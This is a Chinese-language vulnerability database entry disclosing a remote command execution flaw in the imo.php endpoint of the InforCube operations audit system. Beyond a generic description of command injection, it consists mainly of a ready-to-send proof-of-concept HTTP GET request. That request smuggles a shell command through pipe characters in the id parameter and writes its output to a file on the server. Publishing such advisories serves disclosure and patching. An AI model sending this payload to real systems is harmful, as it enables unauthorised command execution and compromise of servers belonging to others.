InforCube运维管理审计系统 imo.php 远程命令执行漏洞

日期: 2025-05-27 14:34:06 | 影响软件: InforCube运维管理审计系统 | POC: 已公开

漏洞描述

命令执行漏洞是指攻击者通过构造特定的请求，使得服务器端执行非预期的命令，从而可能导致未授权的数据访问、权限提升、服务中断等严重后果。这种漏洞通常由于应用程序对用户输入的验证不充分或者对外部命令调用缺乏必要的安全控制而产生。

PoC代码

GET /api/imo.php?type=immediate&id=|id>rce.txt| HTTP/1.1
Host: 
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0

相关漏洞推荐